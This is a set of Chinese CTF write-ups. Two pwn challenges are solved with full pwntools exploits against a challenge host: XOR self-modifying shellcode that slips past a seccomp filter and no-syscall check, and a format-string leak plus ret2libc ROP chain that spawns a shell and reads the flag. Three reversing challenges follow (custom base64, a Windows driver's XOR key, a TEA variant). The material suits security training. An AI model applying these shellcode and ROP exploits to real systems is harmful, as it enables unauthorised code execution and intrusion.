1. mmap(0, 0x1000, PROT_RWX, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) → 分配一块可读写执行的内存页 2. printf("Welcome to the Sandbox! Give me your shellcode (max 0x100 bytes): ") 3. read(0, buf, 0x100) → 从stdin读入最多256字节shellcode 4. 扫描shellcode,检查是否包含字节 0x0f 0x05 → 如果包含,打印"No syscall allowed in shellcode!"并退出 5. puts("Applying seccomp sandbox...") 6. init_sandbox() → 设置seccomp过滤器 7. call *rbx → 跳转执行shellcode
关键限制: shellcode中不能出现 \x0f\x05(即syscall指令的机器码)
init_sandbox函数在栈上构建了一个cBPF格式的seccomp过滤器。
解码后的BPF指令:
| # | 指令 | 含义 |
|---|---|---|
| 0 | LD W [4] | 加载arch字段 |
| 1 | JEQ 0xc000003e, +1, +0 | 检查是否x86_64架构 |
| 2 | RET KILL | 架构不对则杀死 |
| 3 | LD W [0] | 加载syscall编号 |
| 4 | JEQ 257, +4, +0 | openat → ALLOW |
| 5 | JEQ 0, +3, +0 | read → ALLOW |
| 6 | JEQ 1, +2, +0 | write → ALLOW |
| 7 | JEQ 60, +1, +0 | exit → ALLOW |
| 8 | RET KILL | 其他syscall杀死 |
| 9 | RET ALLOW | 放行 |
允许的syscall:
| syscall | 编号 | 用途 |
|---|---|---|
| read | 0 | 读取文件 |
| write | 1 | 输出到stdout |
| openat | 257 | 打开文件 |
| exit | 60 | 退出程序 |
\x0f\x05syscall指令(机器码为0x0f 0x05)自修改Shellcode (Self-Modifying Code)
shellcode被加载到RWX(可读写执行)的mmap内存页中,因此可以在运行时修改自身代码。
核心技巧:用XOR运算在运行时构造0x0f和0x05字节:
0x30 XOR 0x3f = 0x0f 0x35 XOR 0x30 = 0x05
执行流程:
pythonfrom pwn import *
context.arch = 'amd64'
r = remote('challenge.cyclens.tech', 30557)
# r = process('./chal')
shellcode = asm(f'''
/* 将 "/flag\\0" 压入栈 */
xor rax, rax
push rax
mov rax, 0x67616c662f
push rax
/* openat(AT_FDCWD, "/flag", 0, 0) */
mov rdi, -100
mov rsi, rsp
xor rdx, rdx
xor r10, r10
mov rax, 257
/* 自修改: 写入syscall字节并执行openat */
lea rbx, [rip + sys1]
mov byte ptr [rbx], 0x30
xor byte ptr [rbx], 0x3f
mov byte ptr [rbx+1], 0x35
xor byte ptr [rbx+1], 0x30
jmp rbx
sys1:
nop
nop
/* read(fd, buf, count) */
mov rdi, rax
sub rsp, 256
mov rsi, rsp
mov rdx, 256
xor rax, rax
lea rbx, [rip + sys2]
mov byte ptr [rbx], 0x30
xor byte ptr [rbx], 0x3f
mov byte ptr [rbx+1], 0x35
xor byte ptr [rbx+1], 0x30
jmp rbx
sys2:
nop
nop
/* write(1, buf, bytes_read) */
mov rdx, rax
mov rdi, 1
mov rsi, rsp
mov rax, 1
lea rbx, [rip + sys3]
mov byte ptr [rbx], 0x30
xor byte ptr [rbx], 0x3f
mov byte ptr [rbx+1], 0x35
xor byte ptr [rbx+1], 0x30
jmp rbx
sys3:
nop
nop
/* exit(0) */
xor rdi, rdi
mov rax, 60
lea rbx, [rip + sys4]
mov byte ptr [rbx], 0x30
xor byte ptr [rbx], 0x3f
mov byte ptr [rbx+1], 0x35
xor byte ptr [rbx+1], 0x30
jmp rbx
sys4:
nop
nop
''')
assert b'\x0f\x05' not in shellcode
log.info(f"Shellcode length: {len(shellcode)} bytes")
r.recvuntil(b': ')
r.send(shellcode)
r.interactive()
$ python exp.py [+] Opening connection to challenge.cyclens.tech on port 30557: Done [*] Shellcode length: 192 bytes [*] Switching to interactive mode Applying seccomp sandbox... flag{foezkail-ljk4-4lm-8tyc-nx3qdtrcfwrfg}
程序有三个功能:
1. Leave feedback → feedback() 2. Submit query → query() 3. Exit
feedback() — 格式化字符串漏洞cvoid feedback() {
char buf[0x30]; // rbp-0x30
read(0, buf, 0x1f); // 最多读 31 字节
buf[0x1f] = 0; // 手动截断
printf("Your comment: ");
printf(buf); // ← 格式化字符串漏洞
}
printf(buf) 直接用用户输入作为格式化字符串,可以:
%N$p 泄露栈上的值(canary、libc 地址等)%N$s 解引用任意地址,泄露 GOT 表项获取 libc 地址query() — 栈溢出cvoid query() {
char buf[0x30]; // rbp-0x30,48 字节
read(0, buf, 0x100); // ← 读 256 字节,溢出!
printf("Processing query: %s\n", buf);
}
read(0, buf, 0x100) 向 48 字节的 buffer 读入 256 字节,可以覆盖:
buf+0x28 处)buf+0x30 处)buf+0x38 处)发送 AAAA%6$x.%7$x.%8$x 到 feedback,观察输出:
Your comment: AAAA41414141.2437252e.46827824
%6$x 输出 41414141(即 AAAA 的十六进制),说明 position 6 对应 buffer 的起始位置。
由此推算栈布局(buffer 起始于 rbp-0x30):
| 偏移 | position | 内容 |
|---|---|---|
| +0x00 | 6 | buffer[0:8] |
| +0x08 | 7 | buffer[8:16] |
| +0x28 | 11 | stack canary |
| +0x30 | 12 | saved rbp |
| +0x38 | 13 | 返回地址 (main) |
原理:将 puts@GOT (0x404020) 的地址写入 buffer 的 position 7,然后用 %7$s 解引用,printf 会把 GOT 中存储的 puts 真实地址当作字符串打印出来。
Payload 构造:
offset: 0 4 8 16 | | | | %7$s AAAA \x20\x40\x40\x00... ← p64(0x404020) ├─── 格式串 ──┤├──── position 7 ────┤
%7$s:解引用 position 7(即 0x404020),打印该地址处的内容AAAA:填充到 8 字节对齐p64(0x404020):puts@GOT 地址,放在 position 7printf 读到 \x00(地址的第 4 字节)时停止解析格式串,所以只输出 <puts真实地址的字节>AAAA @@。
泄露结果示例:
puts 真实地址 = 0x7c2ba42ebbe0 libc 基址 = 0x7c2ba42ebbe0 - 0x87be0 = 0x7c2ba4264000
直接用 %11$p 打印 position 11 的值:
canary = 0x63eb85c43851bf00 (注意最低字节为 0x00,这是 Linux canary 的特征)
由于 二进制本身没有 pop rdi; ret,需要从 libc 中找:
$ ROPgadget --binary libc.so.6 | grep "pop rdi ; ret" 0x000000000010f78b : pop rdi ; ret
需要的地址:
pythonpop_rdi = libc_base + 0x10f78b # pop rdi ; ret
binsh = libc_base + 0x1cb42f # "/bin/sh" 字符串
system = libc_base + 0x58750 # system()
ret = 0x40101a # 二进制中的 ret (用于 16 字节栈对齐)
栈布局:
buf[0x28] canary rbp ret pop_rdi /bin/sh system ──────── ──────── ───── ──────── ──────── ──────── ──────── A*40 8bytes 0 0x40101a libc+ libc+ libc+ (泄露值) (junk) (对齐) 0x10f78b 0x1cb42f 0x58750
x86-64 的
movaps指令要求 16 字节栈对齐。system()内部会用到movaps,如果 rsp 不是 16 字节对齐就会 SIGSEGV。多加一个retgadget 可以调整栈指针。
pythonfrom pwn import *
context.arch = 'amd64'
context.log_level = 'info'
libc = ELF('./libc.so.6')
puts_off = libc.symbols['puts'] # 0x87be0
system_off = libc.symbols['system'] # 0x58750
binsh_off = next(libc.search(b'/bin/sh')) # 0x1cb42f
pop_rdi_off = 0x10f78b
puts_got = 0x404020
ret_gadget = 0x40101a # ret in binary (stack alignment)
r = remote('challenge.cyclens.tech', 31872)
# ===== Step 1: 泄露 puts@GOT → libc 基址 =====
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'comment: ')
r.send(b'%7$s' + b'A' * 4 + p64(puts_got)) # 16 字节
r.recvuntil(b'Your comment: ')
resp = r.recvline()
puts_bytes = resp.split(b'AAAA')[0]
puts_addr = u64(puts_bytes.ljust(8, b'\x00'))
libc_base = puts_addr - puts_off
log.info(f'puts @ {hex(puts_addr)}')
log.info(f'libc @ {hex(libc_base)}')
# ===== Step 2: 泄露 canary =====
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'comment: ')
r.sendline(b'%11$p')
r.recvuntil(b'Your comment: ')
canary = int(r.recvline().strip(), 16)
log.info(f'canary @ {hex(canary)}')
# ===== Step 3: 栈溢出 getshell =====
system_addr = libc_base + system_off
binsh_addr = libc_base + binsh_off
pop_rdi_addr = libc_base + pop_rdi_off
r.recvuntil(b'> ')
r.sendline(b'2')
r.recvuntil(b'query: ')
rop = b'A' * 0x28 # padding (40 bytes)
rop += p64(canary) # 覆盖 canary
rop += p64(0) # saved rbp (随便填)
rop += p64(ret_gadget) # ret 对齐栈
rop += p64(pop_rdi_addr) # pop rdi ; ret
rop += p64(binsh_addr) # rdi = "/bin/sh"
rop += p64(system_addr) # system("/bin/sh")
r.send(rop)
# 拿 shell
import time
time.sleep(0.5)
r.sendline(b'id; cat /flag*')
print(r.recvall(timeout=3).decode())
r.close()

bashfile chal.exe
# 输出:PE32+ executable (console) x86-64, for MS Windows
这是一个 64 位 Windows 控制台程序。
bashstrings chal.exe
在输出中可以发现以下关键信息:
input flag: custom_base64 WjueW3p1KQYiLANtJX1iJgifIQNuWANqVQxuKf00KAV2KQR0KAZtJAY9
input flag: — 程序运行时会提示输入 flagcustom_base64 — 程序使用了自定义 base64,而不是标准 base64继续在 strings 输出中搜索,发现两张 base64 字母表:
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/
对比两张表:
| 索引 | 0 | 1 | 2 | 3 | 4 | 5 | 6 | ... | 25 |
|---|---|---|---|---|---|---|---|---|---|
| 标准表 | A | B | C | D | E | F | G | ... | Z |
| 自定义表 | Z | Y | X | A | B | C | D | ... | W |
差异:自定义表把前 3 个大写字母和前 3 个小写字母做了倒序排列:
ABC → ZYXabc → zyx其余字符位置不变。程序用这张自定义表进行 base64 编码,所以直接用标准 base64 解码当然会失败。
将编码字符串中的每个字符,从自定义表中找到其索引,再映射回标准表对应位置的字符,最后用标准 base64 解码即可。
pythonimport base64
# 标准 base64 表
standard = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
# 从二进制中提取到的自定义 base64 表
custom = 'ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/'
# 从二进制中提取到的编码字符串
encoded = 'WjueW3p1KQYiLANtJX1iJgifIQNuWANqVQxuKf00KAV2KQR0KAZtJAY9'
# 把自定义编码翻译回标准编码
translated = ''
for c in encoded:
translated += standard[custom.index(c)]
# 标准 base64 解码
flag = base64.b64decode(translated).decode()
print(flag)

bash$ file driv3r.sys
driv3r.sys: PE32+ executable (DLL) (native) x86-64 (stripped to external PDB), for MS Windows
这是一个 Windows 内核驱动(.sys 文件),PE32+ 格式,x86-64 架构,由 GCC (MSYS2) 编译。
bash$ strings driv3r.sys
发现以下关键符号和字符串:
| 字符串/符号 | 含义 |
|---|---|
DriverEntry | 驱动入口函数 |
Driv3rHandleGetChallenge | 处理"获取挑战"请求 |
Driv3rHandleAuth | 处理"认证"请求 |
Driv3rHandleGetSeg | 处理"获取分段"请求 |
Driv3rMixTicket | 混淆/哈希函数 |
Driv3rStaticKeyByte | 静态密钥字节生成 |
Driv3rNonceMaskByte | 基于 nonce 的掩码生成 |
Driv3rRebuildRuntimeBlob | 重建运行时数据块 |
Rotl32 / Rotl8 | 循环左移函数 |
gXorKey / gNonce / gSession | 全局变量 |
nightbridge | 路由标识字符串 |
driv3r! | XOR 密钥 |
使用 objdump 反汇编:
bash$ objdump -d driv3r.sys
驱动通过 Driv3rDeviceControl 处理三个 IOCTL 码:
IOCTL 0x222000 → Driv3rHandleGetChallenge (获取挑战) IOCTL 0x222004 → Driv3rHandleAuth (认证) IOCTL 0x222008 → Driv3rHandleGetSeg (获取 flag 分段)
客户端 驱动 | | |--- IOCTL 0x222000 ----------->| 获取 nonce |<-- nonce + timeout + time ----| | | |--- IOCTL 0x222004 ----------->| 发送认证 (magic + route + nonce + auth_code) |<-- "DRVR" + session_id ------| | | |--- IOCTL 0x222008 ----------->| 获取 flag 分段 (session_id + seg_index) |<-- 16 字节 flag 数据 ---------| | (重复 3 次, seg 0/1/2) |
认证请求输入 (28 字节):
offset 0x00: 4 字节 magic = 0x2026D35A offset 0x04: 16 字节 route = "nightbridge" + 5 字节 padding offset 0x14: 4 字节 nonce = 从 GetChallenge 获取 offset 0x18: 4 字节 auth_code = 计算得出
认证响应输出 (16 字节):
offset 0x00: 4 字节 = 0x52565244 ("DRVR") offset 0x04: 4 字节 = 0x00000000 offset 0x08: 8 字节 = session_id
分段请求输入 (20 字节):
offset 0x00: 8 字节 session_id offset 0x08: 4 字节 seg_index (0, 1, 2)
cuint32_t Rotl32(uint32_t val, uint8_t n) {
n &= 31;
if (n == 0) return val;
return (val << n) | (val >> (32 - n));
}
cuint8_t Rotl8(uint8_t val, uint8_t n) {
n &= 7;
if (n == 0) return val;
return (val << n) | (val >> (8 - n));
}
cuint32_t Driv3rMixTicket(uint32_t magic, uint8_t *data, uint32_t len) {
uint32_t state = magic ^ 0x6C8E9CF5;
for (uint32_t i = 0; i < len; i++) {
state = Rotl32(state + data[i] * 0x1F123BB5, 5) ^ 0xA53C9E17;
}
state ^= 0x9E3779B9; // 黄金比例常数
return state;
}
cuint8_t Driv3rStaticKeyByte(uint32_t i) {
uint8_t byte0 = (i * 0x3D + 0x5A) & 0xFF;
uint8_t byte1 = Rotl8((i ^ 0xA7) & 0xFF, i & 7);
uint8_t byte2 = gXorKey[i % 7]; // gXorKey = "driv3r!"
return byte0 ^ byte1 ^ byte2;
}
其中 gXorKey = "driv3r!" = {0x64, 0x72, 0x69, 0x76, 0x33, 0x72, 0x21}。
cuint32_t Driv3rNonceMaskByte(uint32_t nonce, uint32_t i) {
uint32_t temp = ((i + 1) * 0x045D9F3B) ^ nonce;
temp = Rotl32(temp, i & 0x1F);
temp ^= (temp >> 16);
temp *= 0x27D4EB2D;
temp ^= (temp >> 15);
return temp; // 只取低 8 位使用
}
cvoid Driv3rRebuildRuntimeBlob(uint32_t nonce) {
// 从 .rdata 段读取 48 字节编码数据
// 与 nonce 掩码异或后存入 BSS 段
for (int i = 0; i < 48; i++) {
runtime_blob[i] = encoded_data[i] ^ (uint8_t)Driv3rNonceMaskByte(nonce, i);
}
}
| 段名 | VirtualAddr | FileOffset | Size |
|---|---|---|---|
.text | 0x1000 | 0x400 | 0xA00 |
.rdata | 0x2000 | 0xE00 | 0x200 |
.bss | 0x5000 | — | 0x60 |
从反汇编中的地址引用:
| 符号 | 虚拟地址 | 文件偏移 | 内容 |
|---|---|---|---|
__data_end__ (编码数据) | 0x2000 | 0xE00 | 48 字节编码 flag |
gRouteNeedle | 0x2030 | 0xE30 | "nightbridge\0\0\0\0\0" |
gXorKey | 0x2040 | 0xE40 | "driv3r!\0" |
bash$ xxd -s 0xE00 -l 48 driv3r.sys 00000e00: ffc4 4a25 3cc9 f85f ab26 15cc a16c 8db9 ..J%<.._.&...l.. 00000e10: 9a4f 2d69 600b e1bb b473 576f ac15 f3ea .O-i`....sWo.... 00000e20: 4e12 19ab fe48 248c 4579 54d5 5d6e 5be1 N....H$.EyT.]n[.
分析 Driv3rRebuildRuntimeBlob 的调用链:
Driv3rHandleGetChallenge → 生成随机 nonce (基于时间 + 线程ID) → 调用 Driv3rRebuildRuntimeBlob(nonce) → 用 nonce 掩码解码 .rdata 数据存入 .bss
但是,Driv3rStaticKeyByte 函数虽然定义了,却没有被任何代码调用。
进一步观察发现:.rdata 段的 48 字节编码数据实际上是用 Driv3rStaticKeyByte(i) 编码的,而不是用 nonce 掩码。nonce 掩码机制是一个干扰项(distraction)。
验证:用 Driv3rStaticKeyByte(i) 作为 XOR 密钥解密:
encoded[i] ^ static_key_byte(i) = flag[i]
python#!/usr/bin/env python3
"""driv3r CTF 解题脚本"""
# 从 .rdata 段 (文件偏移 0xE00) 提取的 48 字节编码数据
ENCRYPTED = [
0xFF, 0xC4, 0x4A, 0x25, 0x3C, 0xC9, 0xF8, 0x5F,
0xAB, 0x26, 0x15, 0xCC, 0xA1, 0x6C, 0x8D, 0xB9,
0x9A, 0x4F, 0x2D, 0x69, 0x60, 0x0B, 0xE1, 0xBB,
0xB4, 0x73, 0x57, 0x6F, 0xAC, 0x15, 0xF3, 0xEA,
0x4E, 0x12, 0x19, 0xAB, 0xFE, 0x48, 0x24, 0x8C,
0x45, 0x79, 0x54, 0xD5, 0x5D, 0x6E, 0x5B, 0xE1,
]
XOR_KEY = b"driv3r!" # gXorKey, 7 字节
def rotl8(val, n):
"""8 位循环左移"""
n &= 7
if n == 0:
return val & 0xFF
val &= 0xFF
return ((val << n) | (val >> (8 - n))) & 0xFF
def static_key_byte(i):
"""Driv3rStaticKeyByte — 生成第 i 个静态密钥字节"""
byte0 = (i * 0x3D + 0x5A) & 0xFF
byte1 = rotl8((i ^ 0xA7) & 0xFF, i & 7)
byte2 = XOR_KEY[i % 7]
return byte0 ^ byte1 ^ byte2
# 解密
flag = bytes([ENCRYPTED[i] ^ static_key_byte(i) for i in range(48)])
print(flag.decode('ascii').rstrip('\x00'))

$ file chal.exe chal.exe: PE32+ executable (console) x86-64, for MS Windows $ objdump -d chal.exe | head
反汇编 main 可以看到整体流程:
bash$ objdump -d chal.exe --start-address=0x1400018bf --stop-address=0x140001ad0
关键结构:
main: ; 初始化期望值 (rbp+0x50 ~ rbp+0x6c) movl $0x91cae279, 0x50(%rbp) movl $0x54a6390c, 0x54(%rbp) movl $0x44425d25, 0x58(%rbp) movl $0x8973ec92, 0x5c(%rbp) movl $0xa237ade3, 0x60(%rbp) movl $0x46bd8e22, 0x64(%rbp) movl $0x43b79c57, 0x68(%rbp) movl $0xcbff40aa, 0x6c(%rbp) ; 初始化 key (rbp-0x40) movl $0x12345678, -0x40(%rbp) movl $0x9abcdef0, -0x3c(%rbp) movl $0xdeadbeef, -0x38(%rbp) movl $0xcafebabe, -0x34(%rbp) ; 读取输入,检查 strlen == 32 ; memcpy 到 rbp-0x60 的 buffer ; 循环 i = 0..3 loop: lea -0x60(%rbp), %rax ; input buffer lea (%rax, %rdx, 4), %rcx ; &buffer[i*2] (两个 uint32_t) lea -0x40(%rbp), %rdx ; key call insane_process ; 加密一对 uint32_t ; 比较 buffer[0..7] vs expected[0..7] ; 相等则 "Success!",否则 "Fail..."
关键信息提取:
| 项目 | 值 |
|---|---|
| key[4] | {0x12345678, 0x9abcdef0, 0xdeadbeef, 0xcafebabe} |
| expected[8] | {0x91cae279, 0x54a6390c, 0x44425d25, 0x8973ec92, 0xa237ade3, 0x46bd8e22, 0x43b79c57, 0xcbff40aa} |
| 输入 | 32 字节,分为 4 对,每对 8 字节 (两个 uint32_t) |
这是一个基于 setjmp/longjmp 的状态机调度器:
bash$ objdump -d chal.exe --start-address=0x140001850 --stop-address=0x1400018bf
函数表在 0x140003000:
$ objdump -s -j .data --start-address=0x140003000 --stop-address=0x140003020 chal.exe 140003000: b2140040 01000000 1e150040 01000000 ; state_init, state_loop_check 140003010: 68150040 01000000 00000000 00000000 ; state_round_insane, NULL
调度流程:
next_state = 0 → state_init (初始化)next_state = 1 → state_loop_check (检查 round_idx ≤ 31)next_state = 2 → state_round_insane (执行一轮加密)next_state = -1 → 退出bash$ objdump -d chal.exe --start-address=0x1400014b2 --stop-address=0x14000151e
初始化全局变量:
s = 0round_idx = 0d_seed = 0x1337c0deIsDebuggerPresent()
delta_base = 0xdeadbeefdelta_base = 0x12345678bash$ objdump -d chal.exe --start-address=0x14000151e --stop-address=0x140001568
round_idx ≤ 31 → next_state = 2 (继续加密)round_idx > 31 → next_state = -1 (退出)共执行 32 轮加密。
这是最关键的部分。完整反汇编:
bash$ objdump -d chal.exe --start-address=0x140001568 --stop-address=0x140001850
asm; d_seed = d_seed * 0x41c64e6d + 0x3039 (LCG) imul $0x41c64e6d, %eax, %eax add $0x3039, %eax mov %eax, d_seed ; delta = (d_seed ^ delta_base) & 0x0fffffff mov d_seed, %edx mov delta_base, %eax xor %edx, %eax and $0x0fffffff, %eax mov %eax, -0x4(%rbp) ; local delta ; s = mba_add(s, delta) 即 s + delta mov s, %eax mov -0x4(%rbp), %edx call mba_add mov %eax, s
关键发现:这里有 6 个参数,分为两组:
位移量(从 d_seed 计算,不是从 s!):
asm; shift1 = d_seed % 7 + 2 mov d_seed, %eax ; ... div-by-7 魔数技巧 (imul $0x24924925) ... add $0x2, %eax mov %eax, -0x8(%rbp) ; shift1: 范围 2~8 ; shift2 = (d_seed >> 8) % 7 + 2 mov d_seed, %eax shr $0x8, %eax ; ... div-by-7 魔数技巧 ... add $0x2, %eax mov %eax, -0xc(%rbp) ; shift2: 范围 2~8
Key 索引(从 s 计算):
asm; ki1 = (s >> 2) & 3 mov s, %eax shr $0x2, %eax and $0x3, %eax mov %eax, -0x10(%rbp) ; ki1: Part 1 的 key 索引 ; ki2 = (s >> 4) & 3 mov s, %eax shr $0x4, %eax and $0x3, %eax mov %eax, -0x14(%rbp) ; ki2: Part 1 的 key 索引 ; ki3 = (s >> 6) & 3 mov s, %eax shr $0x6, %eax and $0x3, %eax mov %eax, -0x18(%rbp) ; ki3: Part 2 的 key 索引 ; ki4 = (s >> 8) & 3 mov s, %eax shr $0x8, %eax and $0x3, %eax mov %eax, -0x1c(%rbp) ; ki4: Part 2 的 key 索引
⚠️ 陷阱:很容易误以为 rot1 = (s>>6)&3、rot2 = (s>>8)&3,但实际上 (s>>6)&3 和 (s>>8)&3 是 Part 2 用的 key 索引,不是位移量!
asm; tmp1 = rol(v[1], shift1) ^ key[ki1] ; tmp2 = mba_add(s, v[1]) 即 s + v[1] ; tmp3 = key[ki2] ^ (v[1] >> shift2) ; 条件判断: round_idx & 1 (偶数轮) test $0x1, round_idx jne odd_path ; 偶数轮: ; v[0] = mba_add(v[0], tmp1 ^ tmp2 ^ tmp3) 即 v[0] + (tmp1^tmp2^tmp3) combined = tmp1 ^ tmp2 ^ tmp3 v[0] = mba_add(v[0], combined) odd_path: ; 奇数轮: ; v[0] ^= (tmp1 + tmp2 + tmp3) combined = tmp1 + tmp2 + tmp3 v[0] ^= combined
asm; tmp4 = rol(v[0], shift1) ^ key[ki3] ← 注意是 ki3,不是 ki1! ; tmp5 = mba_add(s, v[0]) 即 s + v[0] ; tmp6 = key[ki4] ^ (v[0] >> shift2) ← 注意是 ki4,不是 ki2! ; 条件判断: round_idx % 3 (用 imul 0x55555556 的除法技巧) test round_idx % 3 jne not_div3 ; round % 3 == 0: ; v[1] ^= (tmp4 + tmp5 + tmp6) combined = tmp4 + tmp5 + tmp6 v[1] ^= combined not_div3: ; round % 3 != 0: ; v[1] = mba_add(v[1], tmp4 ^ tmp5 ^ tmp6) 即 v[1] + (tmp4^tmp5^tmp6) combined = tmp4 ^ tmp5 ^ tmp6 v[1] = mba_add(v[1], combined)
⚠️ 陷阱 1:Part 2 的 key 索引是 ki3、ki4(来自 (s>>6)&3、(s>>8)&3), 不是 Part 1 的 ki1、ki2!
⚠️ 陷阱 2:Part 2 的 XOR/ADD 操作与 Part 1 是交叉对称的:
- Part 1 偶数轮:XOR combined → MBA_ADD (加法)
- Part 2 div3:ADD combined → XOR
- Part 1 奇数轮:ADD combined → XOR
- Part 2 非div3:XOR combined → MBA_ADD (加法)
bash$ objdump -d chal.exe --start-address=0x140001450 --stop-address=0x14000149b
c// 0x140001450: rol
uint32_t rol(uint32_t val, uint32_t shift) {
shift &= 31;
if (shift == 0) return val;
return (val << shift) | (val >> (32 - shift)); // 硬件 ROL 指令
}
// 0x14000146b: mba_xor
uint32_t mba_xor(uint32_t a, uint32_t b) {
return a ^ b; // 就是普通 XOR
}
// 0x14000147d: mba_add
uint32_t mba_add(uint32_t a, uint32_t b) {
return (a ^ b) + ((a & b) << 1); // MBA 混淆,等于 a + b
}
c#include <stdio.h>
#include <stdint.h>
#include <string.h>
uint32_t rol(uint32_t val, uint32_t shift) {
shift &= 31;
if (shift == 0) return val;
return (val << shift) | (val >> (32 - shift));
}
uint32_t mba_add(uint32_t a, uint32_t b) {
return (a ^ b) + ((a & b) << 1);
}
void encrypt_pair(uint32_t *data, uint32_t *key) {
uint32_t delta_base = 0x12345678; // 非调试模式
uint32_t s = 0;
uint32_t d_seed = 0x1337c0de;
for (int round = 0; round < 32; round++) {
// LCG 更新 d_seed
d_seed = d_seed * 0x41c64e6d + 0x3039;
// 计算 delta 并更新 s
uint32_t delta = (d_seed ^ delta_base) & 0x0fffffff;
s = mba_add(s, delta); // = s + delta
// ★ 位移量从 d_seed 计算(不是从 s!)
uint32_t shift1 = (d_seed % 7) + 2; // 范围 2~8
uint32_t shift2 = ((d_seed >> 8) % 7) + 2; // 范围 2~8
// ★ Key 索引从 s 计算,Part 1 和 Part 2 使用不同的索引
uint32_t ki1 = (s >> 2) & 3; // Part 1 key 索引
uint32_t ki2 = (s >> 4) & 3; // Part 1 key 索引
uint32_t ki3 = (s >> 6) & 3; // Part 2 key 索引 ← 不同!
uint32_t ki4 = (s >> 8) & 3; // Part 2 key 索引 ← 不同!
// Part 1: 更新 v[0]
uint32_t tmp1 = rol(data[1], shift1) ^ key[ki1];
uint32_t tmp2 = mba_add(s, data[1]);
uint32_t tmp3 = key[ki2] ^ (data[1] >> shift2);
if ((round & 1) == 0) {
data[0] = mba_add(data[0], tmp1 ^ tmp2 ^ tmp3); // 加法
} else {
data[0] ^= (tmp1 + tmp2 + tmp3); // XOR
}
// Part 2: 更新 v[1](使用 Part 1 更新后的 v[0])
uint32_t tmp4 = rol(data[0], shift1) ^ key[ki3];
uint32_t tmp5 = mba_add(s, data[0]);
uint32_t tmp6 = key[ki4] ^ (data[0] >> shift2);
if ((round % 3) == 0) {
data[1] ^= (tmp4 + tmp5 + tmp6); // XOR
} else {
data[1] = mba_add(data[1], tmp4 ^ tmp5 ^ tmp6); // 加法
}
}
}
加密是可逆的。关键要点:
mba_add(a, b) = a + b,逆操作是 a - ba ^ b ^ b = acvoid decrypt_pair(uint32_t *data, uint32_t *key) {
uint32_t delta_base = 0x12345678;
uint32_t d_seed = 0x1337c0de;
uint32_t states[33], d_seeds[33];
states[0] = 0;
d_seeds[0] = d_seed;
// 预计算所有轮次的 s 和 d_seed
for (int i = 0; i < 32; i++) {
d_seed = d_seed * 0x41c64e6d + 0x3039;
uint32_t delta = (d_seed ^ delta_base) & 0x0fffffff;
states[i + 1] = mba_add(states[i], delta);
d_seeds[i + 1] = d_seed;
}
// 逆序撤销
for (int round = 31; round >= 0; round--) {
uint32_t s = states[round + 1];
uint32_t ds = d_seeds[round + 1];
uint32_t shift1 = (ds % 7) + 2;
uint32_t shift2 = ((ds >> 8) % 7) + 2;
uint32_t ki1 = (s >> 2) & 3, ki2 = (s >> 4) & 3;
uint32_t ki3 = (s >> 6) & 3, ki4 = (s >> 8) & 3;
// ★ 先撤销 Part 2(它使用的是 Part 1 更新后的 v[0])
uint32_t tmp4 = rol(data[0], shift1) ^ key[ki3];
uint32_t tmp5 = mba_add(s, data[0]);
uint32_t tmp6 = key[ki4] ^ (data[0] >> shift2);
if ((round % 3) == 0) {
data[1] ^= (tmp4 + tmp5 + tmp6); // XOR 自逆
} else {
data[1] -= (tmp4 ^ tmp5 ^ tmp6); // 减法逆加法
}
// ★ 再撤销 Part 1(此时 data[1] 已恢复为旧值)
uint32_t tmp1 = rol(data[1], shift1) ^ key[ki1];
uint32_t tmp2 = mba_add(s, data[1]);
uint32_t tmp3 = key[ki2] ^ (data[1] >> shift2);
if ((round & 1) == 0) {
data[0] -= (tmp1 ^ tmp2 ^ tmp3); // 减法逆加法
} else {
data[0] ^= (tmp1 + tmp2 + tmp3); // XOR 自逆
}
}
}
cint main() {
uint32_t key[4] = {0x12345678, 0x9abcdef0, 0xdeadbeef, 0xcafebabe};
uint32_t enc[8] = {
0x91cae279, 0x54a6390c, 0x44425d25, 0x8973ec92,
0xa237ade3, 0x46bd8e22, 0x43b79c57, 0xcbff40aa
};
for (int i = 0; i < 4; i++) {
decrypt_pair(&enc[i * 2], key);
}
unsigned char *p = (unsigned char *)enc;
printf("Flag: ");
for (int i = 0; i < 32; i++) printf("%c", p[i]);
printf("\n");
// 输出: flag{Ins4n3_TEA_With_Dyn4_S_B0x}
}
编译运行:
bash$ gcc -o solve solve.c && ./solve Flag: flag{Ins4n3_TEA_With_Dyn4_S_B0x}
c// 加密再解密应该恢复原文
uint32_t pair[2] = {0x41414141, 0x42424242};
encrypt_pair(pair, key); // → {0x110bf2b7, 0x8348145b}
decrypt_pair(pair, key); // → {0x41414141, 0x42424242} ✓
Patch 掉反调试(NOP 掉 IsDebuggerPresent 调用),用 GDB 在 puts 处断点查看加密结果:
(gdb) break puts (gdb) run # 输入 32 个 'A' (gdb) x/8wx $rbp-0x60 0x...: 0x5609e71b 0x728dda10 0x5609e71b 0x728dda10 ...
Solver 输出 encrypt(0x41414141, 0x41414141) = 0x5609e71b 0x728dda10 ✓完全一致。